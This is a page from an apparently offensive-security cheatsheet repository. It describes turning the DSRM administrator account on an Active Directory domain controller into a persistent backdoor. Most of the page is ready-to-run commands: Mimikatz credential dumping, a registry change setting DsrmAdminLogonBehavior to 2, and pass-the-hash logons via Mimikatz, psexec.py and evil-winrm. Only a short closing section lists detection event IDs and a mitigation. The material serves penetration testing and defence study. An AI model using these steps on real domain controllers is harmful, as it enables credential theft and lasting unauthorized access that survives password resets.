repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
attack-62-dsrm-backdoor-abuse.mdMarkdown83 lines3.3 KiBsource raw download

title: "Attack #62 โ€” DSRM Backdoor Abuse" description: "Every DC has a Directory Services Restore Mode (DSRM) administrator account with a separate password set during DC promotion. By default, this accountโ€ฆ" category: active-directory subcategory: "Persistence" tags: ["active-directory", "ntlm", "privilege-escalation", "hashing"] tools: ["Mimikatz", "Evil-WinRM", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Eight/๐ŸŸค Attack #62 โ€” DSRM Backdoor Abuse.md"#

๐ŸŸค Attack #62 โ€” DSRM Backdoor Abuse#


๐Ÿ“– How It Works#

Every DC has a Directory Services Restore Mode (DSRM) administrator account with a separate password set during DC promotion. By default, this account can't be used for network logons. However, modifying the registry key DsrmAdminLogonBehavior to 2 allows the DSRM administrator to authenticate over the network โ€” creating a persistent backdoor that survives AD credential resets, KRBTGT rotation, and even domain trust rebuilds.


โš™๏ธ Prerequisites#

Requirement Detail
Local admin / SYSTEM on DC To modify registry and dump DSRM hash

๐Ÿ’ป Full Commands#

# โ”€โ”€ Step 1: Dump DSRM password hash โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
mimikatz.exe
privilege::debug
token::elevate
lsadump::sam
# Look for: Administrator (local) โ€” this is the DSRM account hash

# โ”€โ”€ Step 2: Enable network logon for DSRM โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f
# Value 0 = DSRM only in restore mode (default)
# Value 1 = DSRM when AD DS is stopped
# Value 2 = DSRM always allowed for network logon โ† what we want

# โ”€โ”€ Step 3: Use DSRM hash for network access โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
# PtH with the DSRM Administrator hash:
sekurlsa::pth /domain:DC01 /user:Administrator /ntlm:<DSRM_HASH> /run:cmd.exe
# Note: /domain is the DC hostname, NOT the domain โ€” this is the local admin

# Result: Can access DC01 as .\Administrator forever
# โ”€โ”€ From Linux โ€” PtH with DSRM hash โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
psexec.py ./Administrator@DC01.corp.local -hashes :<DSRM_HASH>
evil-winrm -i DC01.corp.local -u Administrator -H <DSRM_HASH>

๐Ÿ›ก๏ธ Detection โ€” Event IDs#

Event ID Source What to Look For
4657 Security Log (DC) Registry modification โ€” DsrmAdminLogonBehavior created/changed
4624 Security Log (DC) Local Administrator logon on DC (not domain admin)

๐Ÿ”— Attack Chain Context#

[DSRM Backdoor] โ”€โ”€โ†’ Permanent DC Access via Local Admin Account
         โ”‚
         โ”œโ”€โ”€โ†’ ๐Ÿ”’ Survives: KRBTGT rotation, DA password resets, trust rebuilds
         โ”œโ”€โ”€โ†’ ๐Ÿ”— Only detected by: monitoring DsrmAdminLogonBehavior registry key
         โ””โ”€โ”€โ†’ ๐Ÿ’€ Defeated by: monitor registry, never set DsrmAdminLogonBehavior to 2

โœ… Attack #62 โ€” DSRM Backdoor complete.